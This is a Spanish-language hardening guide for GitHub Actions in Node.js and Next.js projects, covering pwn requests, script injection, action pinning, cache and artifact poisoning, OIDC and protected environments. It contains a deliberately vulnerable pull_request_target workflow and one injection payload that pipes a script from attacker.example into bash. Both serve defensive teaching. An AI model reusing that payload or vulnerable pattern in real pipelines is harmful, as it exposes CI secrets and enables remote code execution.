Asegurar GitHub Actions en Node.js y Next.js: pwn requests, envenenamiento de caché y procedencia de npm [2026]
Tu pipeline de CI es el objetivo de mayor valor del repositorio
La mayoría de los consejos de seguridad para Node.js y Next.js se detienen en la aplicación: escapa la entrada del usuario, valida el cuerpo, configura las flags de la cookie. Eso es necesario, y también es donde los equipos dejan de pensar. Mientras tanto, un único archivo YAML en .github/workflows/ guarda un GITHUB_TOKEN que puede escribir en el repositorio, un NPM_TOKEN que puede publicar tu paquete en el registro del que instalan tus clientes, credenciales de nube que llegan a producción y una clave de despliegue que publica lo que el workflow decida publicar.
Esa combinación es la razón de que CI/CD no sea un detalle de build, sino el objetivo de mayor valor en un repositorio JavaScript moderno. Un fallo en tu API filtra los datos de un solo cliente. Un pipeline comprometido lo filtra todo, y lo hace con tu firma: el artefacto está firmado, la atestación de procedencia (provenance) es válida, las notas de la release son reales. Aguas abajo, npm install lo descarga sin mostrar ninguna advertencia.
Este artículo es una pasada práctica de endurecimiento sobre GitHub Actions para proyectos de Node.js y Next.js. Cada regla de abajo se corresponde con un ataque que ha funcionado en el mundo real, y cada corrección es un diff de workflow que puedes aplicar hoy.
La causa raíz: entrada no confiable que llega a un job con privilegios
Casi cualquier compromiso de CI/CD se reduce a una frase: un valor controlado por el atacante llegó a un job que tenía privilegios que no debería tener. El atacante suele ser un contribuidor externo que abre un pull request, y el job privilegiado suele ser el que se ejecuta con secretos.
El problema es que GitHub Actions hace que la opción segura sea un poco menos cómoda que la insegura. La lista de valores que un atacante puede influir en un repositorio público es larga, y ninguno de ellos parece peligroso en un archivo YAML:
github.event.pull_request.title,.body,.head.ref,.head.labelgithub.event.issue.title,.bodygithub.event.comment.body,github.event.review.bodygithub.event.pages[].page_name(en eventosgollum)github.head_ref(el nombre de la rama de un PR de fork)github.event.workflow_run.head_branch- Cualquier mensaje de commit y cualquier nombre de fichero del checkout de un fork
Algunos de esos valores se convierten en código (se interpolan en un paso run:). Otros se convierten en rutas (se usan en actions/checkout o en un comando tar). Otros se convierten en claves de caché. Trátalos todos como cadenas hostiles, porque eso son.
Regla 1: nunca combines pull_request_target con un checkout de código no confiable
Este es el clásico "pwn request", y sigue colando. El trigger pull_request_target se diseñó para dar a los mantenedores una forma de etiquetar o comentar pull requests de forks con un token de escritura. Lo que hace en realidad es ejecutar el workflow en el contexto del repositorio base, con un GITHUB_TOKEN de lectura/escritura y acceso a los secretos del repositorio. Eso está bien siempre que el workflow nunca ejecute código del fork.
En el momento en que haces checkout del código del contribuidor, le has entregado tus secretos a un desconocido anónimo:
# BAD — a textbook pwn request
name: PR Preview
on: pull_request_target # runs with secrets and a write token
jobs:
preview:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
# Untrusted: whatever the PR author wants to run
ref: ${{ github.event.pull_request.head.sha }}
# The write token is left in .git/config by default
- run: npm ci # runs the fork's postinstall scripts
- run: npm run build # runs the fork's build scripts
Aquí no hace falta ningún exploit ingenioso. El contribuidor añade un script postinstall en package.json que hace un POST de process.env a un servidor suyo, abre un PR, y el workflow lo ejecuta obedientemente con el NPM_TOKEN y la clave de despliegue en el entorno. No es teoría: es el patrón detrás de una larga lista de incidentes reales en empresas que, por lo demás, tenían una seguridad de aplicación sólida.
La corrección es dividir el workflow por nivel de confianza. El código no confiable se ejecuta en un workflow sin privilegios y sin secretos; el workflow privilegiado consume solo su salida, y solo después de validarla:
# .github/workflows/pr.yml — untrusted, no secrets, read-only token
name: PR checks
on: pull_request # forks get no secrets and a read-only token
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
with:
node-version: 22
cache: npm
- run: npm ci --ignore-scripts
- run: npm test -- --run
- run: npm run build
- uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
with:
name: dist
path: |
.next/standalone
.next/static
if-no-files-found: error
retention-days: 3
# .github/workflows/comment.yml — privileged, NEVER executes the fork's code
name: PR preview comment
on:
workflow_run:
workflows: ["PR checks"]
types: [completed]
permissions:
contents: read
pull-requests: write
jobs:
comment:
if: github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
steps:
# workflow_run provides the PR number as numeric metadata, which is safe
# to interpolate. Never interpolate a branch name or a title here.
- run: |
echo "Run ${{ github.event.workflow_run.id }} finished: ${{ github.event.workflow_run.conclusion }}"
Fíjate en lo que el workflow privilegiado no hace: no descarga el artefacto para ejecutarlo y no hace npm install de nada que venga del PR. En el momento en que un job privilegiado ejecuta código que llega de un pull request, la separación no te compra nada.
Si de verdad necesitas pull_request_target para etiquetar, limita el workflow a actions/labeler y actions/github-script sobre los metadatos del PR, sin ningún paso de checkout.
Regla 2: pasa los valores no confiables por env, nunca por ${{ }} dentro de run:
El segundo hallazgo más común es la interpolación directa de contexto no confiable en un paso de shell. GitHub Actions expande ${{ ... }} antes de que el shell vea el script, así que el valor pasa a formar parte del texto de tu script:
# BAD — the PR title is now part of the shell script
- name: Announce
run: echo "Deploying ${{ github.event.pull_request.title }}"
Pon el título del PR a "; curl -s https://attacker.example/p.sh | bash # y el workflow ejecutará código del atacante con el token del job. La ejecución de subshell, la expansión de variables y $(...) funcionan porque la interpolación ocurre antes de que bash parsee nada.
La corrección es pasar el valor como variable de entorno, de forma que sea datos y nunca texto de script:
# GOOD — the value is data, not code
- name: Announce
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: printf 'Deploying %s\n' "$PR_TITLE"
Usa env: para todo contexto no confiable, y prefiere printf a echo cuando imprimas cadenas arbitrarias. La misma regla aplica a los workflows reutilizables: pasa los valores no confiables como inputs con un type: string explícito, y sigue referenciándolos a través de env dentro del workflow llamado.
Regla 3: declara permissions de forma explícita y no concedas nada al token por defecto
El alcance por defecto del GITHUB_TOKEN depende de la configuración del repositorio o de la organización, y equivocarse sobre cuál te aplica a ti ya es un fallo de seguridad en sí mismo. No dependas del valor por defecto. Decláralo en la cabecera de cada workflow y amplíalo por job solo donde sea necesario:
name: Release
on:
push:
tags: ["v*"]
# Deny everything by default; jobs opt back in explicitly.
permissions: {}
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: write # create the GitHub release
id-token: write # OIDC for npm trusted publishing
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
with:
node-version: 22
registry-url: https://registry.npmjs.org
- run: npm ci --ignore-scripts
- run: npm run build
- run: npm publish --provenance --access public
permissions: {} arriba significa que si alguien añade después un paso o una acción de terceros al job publish, no hereda contents: write en silencio. Como cualquier acción que invoques hereda tu token, este es también el control que limita el radio de impacto de una dependencia comprometida en tu workflow, que es el tema de la siguiente regla.
Configura además persist-credentials: false en cualquier checkout cuyo job no necesite hacer push. Por defecto, checkout guarda el token en la configuración local de git, y cualquier paso posterior puede leerlo.
Regla 4: fija cada acción de terceros a un SHA de commit
uses: actions/checkout@v4 no es un pin de versión: es un puntero a un tag de Git mutable. Quien pueda escribir en ese repositorio puede mover v4 al commit que quiera, y tu siguiente ejecución lo ejecutará. No es hipotético: en marzo de 2025 un atacante comprometió la acción ampliamente usada tj-actions/changed-files, reapuntó sus tags de versión a un commit malicioso y exfiltró secretos de runners de CI a los logs de los workflows en miles de repositorios (CVE-2025-30066). Un par de tags relacionados en reviewdog/action-setup se comprometió en la misma campaña (CVE-2025-30154). Los equipos que habían fijado SHAs no se vieron afectados; los que habían fijado tags, sí.
# BAD — a mutable tag
- uses: actions/checkout@v4
# GOOD — a 40-character commit SHA with the version in a comment
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
La objeción habitual es el mantenimiento, y es un problema resuelto. Deja que Dependabot los fije y los actualice por ti, de forma que recibas las actualizaciones de seguridad como pull requests revisables en lugar de como movimiento silencioso de tags:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
groups:
prod-deps:
dependency-type: "production"
El mismo razonamiento aplica a las imágenes docker:// referenciadas por digest, a los workflows reutilizables (uses: owner/repo/.github/workflows/x.yml@<sha>) y a cualquier script de instalación del tipo curl | bash escondido dentro de una acción compuesta. Si no puedes fijarlo a un digest o a un SHA, no lo ejecutes en un job que tenga secretos.
Defensa en profundidad para la misma amenaza: npm ci --ignore-scripts (o --foreground-scripts para al menos registrar lo que se ejecuta) en CI evita que una dependencia transitiva maliciosa se ejecute durante la instalación, y npm ci en vez de npm install garantiza que se respeta el lockfile.
Regla 5: envenenamiento de caché y de artefactos
Las cachés y los artefactos son canales de datos entre jobs, y los canales de datos pueden transportar la carga útil del atacante.
Envenenamiento de caché (cache poisoning). Una caché escrita por un workflow no confiable puede ser restaurada por uno privilegiado si las claves se solapan. Los restore-keys amplios hacen probable ese solapamiento: un workflow de PR que puebla prefijos npm-<os>-, o un job de release privilegiado que restaura con un prefijo en lugar de con una clave exacta, pueden traer un node_modules envenenado a un job que después lo publica.
# RISKY — restore-keys makes a cache written by another run reachable here
- uses: actions/cache@6849a6489940f00c2f30c0fb92c6274307ccb58a # v4.1.2
with:
path: ~/.npm
key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
restore-keys: |
npm-${{ runner.os }}-
Recomendación: en los workflows privilegiados, nunca restaures una caché que un workflow no confiable pueda escribir, y nunca cachees node_modules: cachea el directorio de descargas del gestor de paquetes (~/.npm) y reinstala con npm ci para que sea el lockfile quien decida qué acaba entrando. Si usas restore-keys, mantén el prefijo lo bastante específico como para que solo las ejecuciones confiables lo produzcan.
Envenenamiento de artefactos (artifact poisoning). Un job de workflow_run que descarga un artefacto producido por un workflow de PR y después lo publica o lo despliega ha movido la frontera de confianza sin darse cuenta. El artefacto puede contener un dist/ modificado, un package.json manipulado o un árbol node_modules con una dependencia con puerta trasera. De ahí salen dos reglas: transfiere solo salidas de build (nunca node_modules, nunca lockfiles, nunca scripts) y — para cualquier cosa que llegue a un registro o a producción — reconstruye desde el código fuente en el workflow privilegiado con npm ci, en lugar de confiar en los ficheros subidos.
# The artifact is evidence, not authority: verify it, then rebuild.
- uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
with:
name: dist
path: ./dist-from-pr
- name: Verify the artifact came from the expected commit
env:
HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
run: |
test -f ./dist-from-pr/build-info.json
grep -qF "$HEAD_SHA" ./dist-from-pr/build-info.json
- name: Rebuild from a trusted ref before publishing
run: |
git checkout main
npm ci --ignore-scripts
npm run build
Para los artefactos que distribuyes, actions/attest-build-provenance te permite publicar una atestación de procedencia firmada, de forma que los consumidores aguas abajo puedan verificar qué workflow y qué commit produjeron el artefacto: el mismo mecanismo que usa npm publish --provenance.
Regla 6: mantén el código no confiable fuera de los runners persistentes
Los runners alojados por GitHub son efímeros: se crean para el job y se destruyen después. Los self-hosted no lo son, salvo que los hayas construido así. Un runner persistente que ejecuta el código de un fork es un punto de apoyo para persistir: el atacante puede modificar el toolchain del runner, dejar un fichero en un workspace compartido, leer las credenciales que el propio runner tenga o envenenar una capa de Docker compartida que use el siguiente job.
Si haces self-hosting por coste o por motivos de hardware, entonces: no los asocies nunca a repositorios públicos, ejecútalos siempre en modo efímero y de un solo uso (despliegues de runner dirigidos por Kubernetes con --ephemeral, o un autoescalado que destruya la instancia después de cada job) y dales un rol de instancia que pueda hacer exactamente una cosa. Si ejecutas código no confiable en un runner persistente, asume que el runner está comprometido tras el primer pull request malicioso.
Regla 7: sustituye los secretos de larga vida por OIDC
Los secretos estáticos son la razón por la que un compromiso de CI se convierte en un compromiso de nube. Una AWS_SECRET_ACCESS_KEY o un NPM_TOKEN en los secretos del repositorio son una credencial con vida ilimitada que una línea de log filtrada puede exponer para siempre.
Tanto los proveedores de nube como npm admiten hoy federación de identidad de carga de trabajo (workload identity federation), así que el workflow obtiene credenciales de corta duración que caducan en minutos y están vinculadas al repositorio y a la ref que las solicitó:
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # the ONLY thing needed to mint short-lived credentials
environment: production
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: us-east-1
# No long-lived keys anywhere in the repository.
- run: ./scripts/deploy.sh
En npm, el trusted publishing elimina el NPM_TOKEN por completo: configura el publisher en npmjs.com para el repositorio y el workflow, concede id-token: write y publica con --provenance. El registro verifica el token de OIDC y el paquete publicado lleva una atestación que lo vincula al commit y al workflow exactos que lo construyeron. Después borra el token antiguo de los secretos del repositorio y revócalo en el registro, porque un token que todavía funciona sigue siendo un objetivo.
Si un proveedor solo admite credenciales estáticas, trátalas como una excepción de emergencia: limitadas a un único recurso, rotadas con una periodicidad fija, guardadas en un secreto con alcance de entorno en lugar de un secreto de repositorio y nunca disponibles para un workflow que ejecute código no confiable.
Regla 8: pon producción detrás de un entorno protegido
environment: te da una puerta de aprobación que se sitúa entre "el workflow ha decidido desplegar" y "el workflow ha desplegado". Los revisores obligatorios, un temporizador de espera y una restricción de ramas convierten una credencial de push comprometida en una petición que una persona puede rechazar.
jobs:
deploy:
runs-on: ubuntu-latest
environment:
name: production
url: https://app.example.com # required reviewers configured in repo settings
Combínalo con concurrency para que dos despliegues no compitan, y con una guarda if: github.ref == 'refs/heads/main' para que un tag empujado por un token comprometido no llegue a producción sin revisión.
Regla 9: haz el pipeline observable
No puedes revisar lo que no puedes ver. Dos controles de bajo coste se pagan solos:
- Auditoría de salida de red (egress auditing).
step-security/harden-runneren modo auditoría registra cada destino de red al que contacta el job, a nivel de DNS e IP, que es como encuentras el paso de exfiltración que añadió una acción comprometida. Toma una línea base durante una semana y luego pasa a modoblockcon una allowlist. - Un diff revisable para los cambios de workflow. Añade
.github/workflows/**aCODEOWNERSpara que cualquier cambio en la lógica del pipeline exija una revisión de seguridad o de plataforma, y activa la protección de rama que exige esas revisiones. El YAML es código de producción; trata los cambios en él como tratas los cambios enauth/.
Checklist de endurecimiento
- [ ] Ningún workflow de
pull_request_targethace checkout ni ejecuta código del PR. - [ ] Los PR de forks se ejecutan sin secretos y con token de solo lectura; los seguimientos privilegiados usan
workflow_runy nunca ejecutan artefactos del PR. - [ ] Todo valor
github.*no confiable llega arun:a través deenv:, nunca por interpolación de${{ }}. - [ ]
permissions: {}(ocontents: read) en la cabecera, con opt-in por job;persist-credentials: falsedonde no hagas push. - [ ] Cada acción de terceros, workflow reutilizable e imagen de contenedor está fijada a un SHA de 40 caracteres o a un digest, y Dependabot los mantiene al día.
- [ ]
npm ci(nonpm install) en todas partes,--ignore-scriptsdonde el build lo permita. - [ ] Los jobs privilegiados nunca restauran una caché escrita por un workflow no confiable;
node_modulesnunca se cachea. - [ ] Los artefactos que cruzan una frontera de confianza se validan o se reconstruyen, y los artefactos publicados llevan atestación de procedencia.
- [ ] Sin runners self-hosted asociados a repositorios públicos; cualquier runner self-hosted es efímero y de un solo uso.
- [ ] El acceso a la nube y al registro usa OIDC; no queda ningún
NPM_TOKENni clave de nube de larga vida en los secretos del repositorio. - [ ] Los despliegues a producción están detrás de un entorno protegido con revisores obligatorios.
- [ ]
.github/workflows/**está enCODEOWNERSy la auditoría de salida de red está activada.
Qué hacer esta semana
Empieza por el diff que elimina más riesgo: busca en todos los workflows pull_request_target, ${{ github.event. dentro de run: y líneas uses: sin un SHA de 40 caracteres. Esos tres greps encuentran la mayoría de los pipelines explotables. Después mueve el resto: elimina los tokens de larga vida en favor de OIDC, y pon environment: production delante del job de despliegue. Todo lo demás es endurecimiento; esos tres son la diferencia entre un pipeline que sobrevive a un pull request malicioso y uno que lo publica en silencio.
JS Security Audit
Auditorías dirigidas por un ingeniero de seguridad JavaScript senior con más de 10 años de experiencia.